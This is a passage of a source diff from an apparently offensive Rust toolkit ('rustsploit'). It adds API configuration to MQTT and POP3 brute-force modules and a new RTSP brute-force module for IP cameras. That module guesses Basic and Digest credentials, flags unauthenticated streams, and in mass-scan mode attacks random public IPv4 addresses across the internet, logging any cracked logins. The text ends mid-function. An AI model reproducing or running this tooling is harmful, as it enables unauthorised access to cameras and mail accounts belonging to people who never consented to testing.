let full_combo = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Full combination mode (user × pass)?", false).unwrap_or(false) }
});
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose output?", false).unwrap_or(false) }
});
let client_id = if api_mode { "rustsploit_mqtt".to_string() } else { prompt_default("MQTT Client ID", "rustsploit_mqtt")? };
let config = MqttConfig {
target: normalized_target,
+106 -25
View File
@@ -13,7 +13,7 @@ use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default, prompt_wordlist,
load_lines, prompt_default,
};
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
use std::sync::atomic::AtomicUsize;
@@ -70,26 +70,68 @@ pub async fn run(target: &str) -> Result<()> {
return run_mass_scan(target).await;
}
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?;
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
let use_ssl = if api_mode { false } else { prompt_yes_no("Use SSL/TLS (POP3S)?", false)? };
let default_port = if use_ssl { 995 } else { 110 };
let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file")?;
let password_wordlist = prompt_existing_file("Password wordlist file")?;
let port = if let Some(p) = config_api.port {
p
} else if api_mode {
default_port
} else {
prompt_int_range("Port", default_port as i64, 1, 65535)? as u16
};
let threads = prompt_int_range("Threads", 16, 1, 256)? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64;
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60)? as u64;
let username_wordlist = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist file")?
};
let full_combo = prompt_yes_no("Try every username with every password?", false)?;
let stop_on_success = prompt_yes_no("Stop on first valid login?", false)?;
let password_wordlist = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist file")?
};
let output_file = prompt_default("Output file for results", "pop3_results.txt")?;
let threads = config_api.concurrency.unwrap_or_else(|| {
if api_mode { 16 } else { prompt_int_range("Threads", 16, 1, 256).unwrap_or(16) as usize }
});
let delay_ms = if api_mode { 50 } else { prompt_int_range("Delay (ms)", 50, 0, 10000).unwrap_or(50) as u64 };
let connection_timeout = if api_mode { 5 } else {
prompt_int_range("Timeout (s)", 5, 1, 60).unwrap_or(5) as u64
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let retry_on_error = prompt_yes_no("Retry failed connections?", true)?;
let full_combo = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Try every username with every password?", false).unwrap_or(false) }
});
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first valid login?", false).unwrap_or(true) }
});
let output_file = config_api.output_file.clone().unwrap_or_else(|| {
if api_mode { "pop3_results.txt".to_string() } else { prompt_default("Output file for results", "pop3_results.txt").unwrap_or_else(|_| "pop3_results.txt".to_string()) }
});
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let retry_on_error = if api_mode { true } else { prompt_yes_no("Retry failed connections?", true)? };
let max_retries = if retry_on_error {
prompt_int_range("Max retries", 2, 1, 10)? as usize
if api_mode { 2 } else { prompt_int_range("Max retries", 2, 1, 10).unwrap_or(2) as usize }
} else {
0
};
@@ -111,20 +153,41 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms,
};
println!();
println!("{}", "[Starting Attack]".bold().yellow());
println!();
if !api_mode {
println!();
println!("{}", "[Starting Attack]".bold().yellow());
println!();
}
run_pop3_bruteforce(config).await
}
async fn run_mass_scan(target: &str) -> Result<()> {
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?;
// Get API config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
// In API mode, default to no SSL; otherwise ask
let use_ssl = if api_mode { false } else { prompt_yes_no("Use SSL/TLS (POP3S)?", false).unwrap_or(false) };
let default_port = if use_ssl { 995 } else { 110 };
let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16;
let usernames_file = prompt_wordlist("Username wordlist")?;
let passwords_file = prompt_wordlist("Password wordlist")?;
let port = config.port.unwrap_or_else(|| {
if api_mode { default_port } else { prompt_int_range("Port", default_port as i64, 1, 65535).unwrap_or(default_port as i64) as u16 }
});
let usernames_file = config.username_wordlist.clone().ok_or_else(|| {
anyhow!("username_wordlist required")
}).or_else(|_| {
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
else { prompt_existing_file("Username wordlist") }
})?;
let passwords_file = config.password_wordlist.clone().ok_or_else(|| {
anyhow!("password_wordlist required")
}).or_else(|_| {
if api_mode { Err(anyhow!("password_wordlist required for API mode")) }
else { prompt_existing_file("Password wordlist") }
})?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
@@ -132,12 +195,27 @@ async fn run_mass_scan(target: &str) -> Result<()> {
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "pop3_mass_results.txt")?;
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "pop3_mass_results.txt".to_string() }
else { prompt_default("Output result file", "pop3_mass_results.txt").unwrap_or_else(|_| "pop3_mass_results.txt".to_string()) }
});
// In API mode, always exclude private ranges
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let exclusions = if use_exclusions {
println!("{}", format!("[+] Loaded {} exclusion ranges", EXCLUDED_RANGES.len()).cyan());
Arc::new(parse_exclusions(EXCLUDED_RANGES))
} else {
Arc::new(Vec::new())
};
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
@@ -162,6 +240,9 @@ async fn run_mass_scan(target: &str) -> Result<()> {
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = match semaphore.clone().acquire_owned().await {
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,977 @@
use anyhow::{anyhow, Result, Context};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{Write, BufRead, BufReader},
net::{IpAddr, Ipv4Addr, SocketAddr},
sync::Arc,
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::Duration,
collections::HashSet,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::{sleep, timeout},
fs::OpenOptions,
};
use rand::Rng;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range, prompt_port,
load_lines, get_filename_in_current_dir, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 5;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "rtsp_mass_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Debug, Clone, PartialEq)]
enum AuthMethod {
None,
Basic,
Digest { realm: String, nonce: String },
Unknown,
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports Basic & Digest Auth, Mass Scanning ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Main entry point for the RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || target.contains('/') || std::path::Path::new(target).is_file();
println!("{}", format!("[*] Target: {}", target).cyan());
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan".yellow());
return run_mass_scan(target).await;
}
run_single_target(target).await
}
async fn run_single_target(target: &str) -> Result<()> {
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
// Get port - from API config or prompt
let port: u16 = if let Some(p) = config.port {
p
} else {
prompt_port("RTSP Port", 554)?
};
// Get wordlists - from API config or prompt
let usernames_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else {
prompt_existing_file("Username wordlist")?
};
let passwords_file = if let Some(ref f) = config.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else {
prompt_existing_file("Password wordlist")?
};
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 10 } else { prompt_int_range("Max concurrent tasks", 10, 1, 10000).unwrap_or(10) as usize }
});
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let save_results = config.save_results.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Save results to file?", true).unwrap_or(true) }
});
let save_path = if save_results {
Some(config.output_file.clone().unwrap_or_else(|| {
if api_mode { "rtsp_results.txt".to_string() } else { prompt_default("Output file", "rtsp_results.txt").unwrap_or_else(|_| "rtsp_results.txt".to_string()) }
}))
} else {
None
};
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode? (try every pass with every user)", false).unwrap_or(false) }
});
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
let implicit_path = extract_rtsp_path(target);
// Normalize target and add port if needed
let target_normalized = if target.starts_with("rtsp://") {
let stripped = match target.strip_prefix("rtsp://") {
Some(s) => s,
None => target,
};
match stripped.split('/').next() {
Some(host_part) => host_part,
None => target,
}
} else {
match target.split('/').next() {
Some(host_part) => host_part,
None => target,
}
};
let normalized = normalize_target(target_normalized)?;
let addr = if normalized.contains(':') {
normalized
} else {
format!("{}:{}", normalized, port)
};
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr, port).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
let pass_lines = load_lines(&passwords_file)?;
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
// In API mode, use path_wordlist config or default to root path; skip interactive prompts
let mut paths = if api_mode {
if let Some(ref f) = config.path_wordlist {
if !f.is_empty() && std::path::Path::new(f).exists() {
load_lines(f)?
} else {
vec!["".to_string()]
}
} else {
vec!["".to_string()]
}
} else {
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
if brute_force_paths {
let paths_file = prompt_existing_file("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
}
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
if !api_mode {
println!();
}
println!("[*] Probing authentication method on default path...", );
let initial_path = match paths.first() {
Some(p) => p.clone(),
None => String::new(),
};
let probe_result = probe_auth_method(resolved_addrs.as_slice(), &addr, &initial_path).await;
let default_auth_method = match probe_result {
Ok(AuthMethod::None) => {
println!("{}", "[+] Target allows Unauthenticated Access!".green().bold());
// If user wants to stop on success, we are done?
// We should record this.
found.lock().await.push((addr.clone(), "<NO_AUTH>".to_string(), "<NO_AUTH>".to_string(), initial_path.clone()));
if stop_on_success {
println!("[+] Stopping due to unauthenticated access.");
return Ok(());
}
AuthMethod::None
},
Ok(AuthMethod::Basic) => {
println!("{} Detected Auth: Basic", "[*]".blue());
AuthMethod::Basic
},
Ok(AuthMethod::Digest { realm, nonce }) => {
println!("{} Detected Auth: Digest (Realm: {})", "[*]".blue(), realm);
AuthMethod::Digest { realm, nonce }
},
Ok(AuthMethod::Unknown) => {
println!("{} Unknown auth or connection error. Will default to Basic or probing.", "[!]".yellow());
AuthMethod::Unknown
},
Err(e) => {
println!("{} Probe failed: {}. Will continue knowing nothing.", "[!]".red(), e);
AuthMethod::Unknown
}
};
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
// Safe access since users.is_empty() is checked earlier
match users.get(idx % users.len()) {
Some(u) => vec![u.to_string()],
None => vec![],
}
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
// If we know detected method, use it as a hint.
let cached_method = default_auth_method.clone();
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
let _permit = match semaphore_clone.acquire().await {
Ok(p) => p,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
match try_rtsp_login_smart(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
&cached_method,
).await {
Ok(true) => {
let path_str = if path_clone.is_empty() { "/" } else { &path_clone };
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
}
}
}
}));
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Ok(mut file) = File::create(&filename) {
for (host, user, pass, path) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Run mass scan logic
async fn run_mass_scan(target: &str) -> Result<()> {
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
// Get port - from API config or prompt
let port: u16 = if let Some(p) = config.port {
p
} else {
prompt_port("RTSP Port", 554)?
};
// Get wordlists - from API config or prompt
let usernames_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else {
prompt_existing_file("Username wordlist")?
};
let passwords_file = if let Some(ref f) = config.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else {
prompt_existing_file("Password wordlist")?
};
// Get paths file - optional in API mode
let paths_file = if let Some(ref f) = config.path_wordlist {
if !std::path::Path::new(f).exists() && !f.is_empty() {
return Err(anyhow!("Path wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
String::new() // No paths file in API mode means use root path
} else {
prompt_existing_file("RTSP paths file (empty for none/root)")?
};
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
let mut paths = if paths_file.is_empty() {
vec!["".to_string()]
} else {
load_lines(&paths_file)?
};
if paths.is_empty() {
paths.push("".to_string());
}
if users.is_empty() || pass_lines.is_empty() {
return Err(anyhow!("Wordlists cannot be empty"));
}
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "rtsp_mass_results.txt".to_string() } else { prompt_default("Output result file", "rtsp_mass_results.txt").unwrap_or_else(|_| "rtsp_mass_results.txt".to_string()) }
});
// Ask about exclusions - always use exclusions in API mode
let use_exclusions = if api_mode {
true
} else {
prompt_yes_no("Exclude reserved/private ranges?", true)?
};
// Parse exclusions
let mut exclusion_subnets = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusion_subnets.len()).cyan());
}
let exclusions = Arc::new(exclusion_subnets);
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, paths));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} RTSP streams found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
let mut checked_ips = HashSet::new();
if run_random {
if std::path::Path::new(STATE_FILE).exists() {
println!("{} Loading state file...", "[*]".blue());
if let Ok(file) = File::open(STATE_FILE) {
let reader = BufReader::new(file);
for line in reader.lines() {
if let Ok(l) = line {
if let Some(ip) = l.strip_prefix("checked: ") {
checked_ips.insert(ip.trim().to_string());
}
}
}
}
println!("{} Loaded {} checked IPs.", "[+]".green(), checked_ips.len());
}
}
let checked_set = Arc::new(Mutex::new(checked_ips));
if run_random {
OpenOptions::new().create(true).append(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let c_set = checked_set.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_s = ip.to_string();
let is_checked = {
let set = c_set.lock().await;
set.contains(&ip_s)
};
if !is_checked {
{
let mut set = c_set.lock().await;
set.insert(ip_s.clone());
}
mark_ip_checked_file(&ip_s).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
let targets: Vec<String> = if std::path::Path::new(target).is_file() {
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect()
} else if target.contains('/') {
if let Ok(net) = target.parse::<ipnetwork::IpNetwork>() {
net.iter().map(|ip| ip.to_string()).collect()
} else {
vec![target.to_string()]
}
} else {
vec![target.to_string()]
};
println!("{}", format!("[*] Loaded {} targets.", targets.len()).blue());
for ip_str in targets {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => {
match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await {
Ok(mut iter) => iter.next().map(|s| s.ip()),
Err(_) => None
}
}
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check (Fast Fail)
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// Probe once to determine method
let (users, passes, paths) = &*creds;
// We try to probe the preferred path (usually first one or root)
let probe_path = match paths.first() {
Some(p) => p.clone(),
None => String::new(),
};
let addrs = [sa];
// For mass scan, we might fail probe due to timeout, just return then.
// If Unauth, we log and return success immediately!
let auth_method = match probe_auth_method(&addrs, &sa.to_string(), &probe_path).await {
Ok(AuthMethod::None) => {
// Found open!
let result_str = format!("{} -> <NO_AUTH>:<NO_AUTH> [path={}]", sa, probe_path);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return;
},
Ok(m) => m,
Err(_) => return, // Failed to probe, host likely gone
};
// Parallel credential attempts per host
// Limit concurrent connections per host to avoid FD exhaustion
const MAX_CONCURRENT_PER_HOST: usize = 10;
let host_semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_PER_HOST));
let found_flag = Arc::new(AtomicBool::new(false));
let mut tasks = FuturesUnordered::new();
for path in paths {
for user in users {
for pass in passes {
// Stop if we already found a valid credential for this host
if found_flag.load(Ordering::Relaxed) {
break;
}
let addrs_clone = addrs;
let sa_str = sa.to_string();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let auth_clone = auth_method.clone();
let sem = host_semaphore.clone();
let found = found_flag.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let v = verbose;
tasks.push(tokio::spawn(async move {
if found.load(Ordering::Relaxed) {
return;
}
// Acquire per-host permit
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return,
};
if found.load(Ordering::Relaxed) {
return;
}
let res = try_rtsp_login_smart(
&addrs_clone,
&sa_str,
&user_clone,
&pass_clone,
&path_clone,
&auth_clone
).await;
match res {
Ok(true) => {
let result_str = format!("{} -> {}:{} [path={}]", sa_str, user_clone, pass_clone, path_clone);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&of).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
sf.fetch_add(1, Ordering::Relaxed);
found.store(true, Ordering::Relaxed);
}
Ok(false) => {}
Err(e) => {
let err_str = e.to_string().to_lowercase();
if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") || err_str.contains("too many open files") {
found.store(true, Ordering::Relaxed); // Stop this host
}
if v {
println!("\r{}", format!("[!] {} -> error: {}", sa_str, e).red());
}
}
}
}));
}
if found_flag.load(Ordering::Relaxed) { break; }
}
if found_flag.load(Ordering::Relaxed) { break; }
}
// Wait for all tasks on this host to complete
while let Some(_) = tasks.next().await {}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn mark_ip_checked_file(ip: &str) {
let data = format!("checked: {}\n", ip);
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
/// Resolve a host:port for single target mode
async fn resolve_targets(addr: &str, default_port: u16) -> Result<Vec<SocketAddr>> {
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
let parsed_port = match p.parse::<u16>() {
Ok(port_num) => port_num,
Err(_) => default_port,
};
(h.to_string(), parsed_port)
} else {
(addr.to_string(), default_port)
};
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
// ------ RTSP Logic ------
async fn connect_to_any(addrs: &[SocketAddr]) -> Result<(TcpStream, SocketAddr)> {
let mut last_err = None;
for sa in addrs {
// Connect timeout
match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await {
Ok(Ok(s)) => return Ok((s, *sa)),
Ok(Err(e)) => { last_err = Some(e); continue; }
Err(_) => { last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout")); continue; }
}
}
match last_err {
Some(e) => Err(e.into()),
None => Err(anyhow!("All connection attempts failed")),
}
}
async fn send_request(stream: &mut TcpStream, request: &str) -> Result<String> {
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
// Read timeout
let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await {
Ok(Ok(n)) => n,
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(anyhow!("Read timeout")),
};
if n == 0 {
return Err(anyhow!("Connection closed by server"));
}
Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
}
/// Probes the server to determine supported auth method
async fn probe_auth_method(addrs: &[SocketAddr], _addr_display: &str, path: &str) -> Result<AuthMethod> {
let (mut stream, sa) = connect_to_any(addrs).await?;
let path_str = if path.is_empty() { "/" } else { path };
let method = "DESCRIBE";
// Send unauthenticated request
let request = format!(
"{method} rtsp://{host}:{port}/{path} RTSP/1.0\r\nCSeq: 1\r\n\r\n",
method = method,
host = sa.ip(),
port = sa.port(),
path = path_str.trim_start_matches('/')
);
let response = send_request(&mut stream, &request).await?;
if response.contains("200 OK") {
return Ok(AuthMethod::None);
}
if response.contains("401 Unauthorized") {
if response.contains("Digest") {
// Parse Realm and Nonce
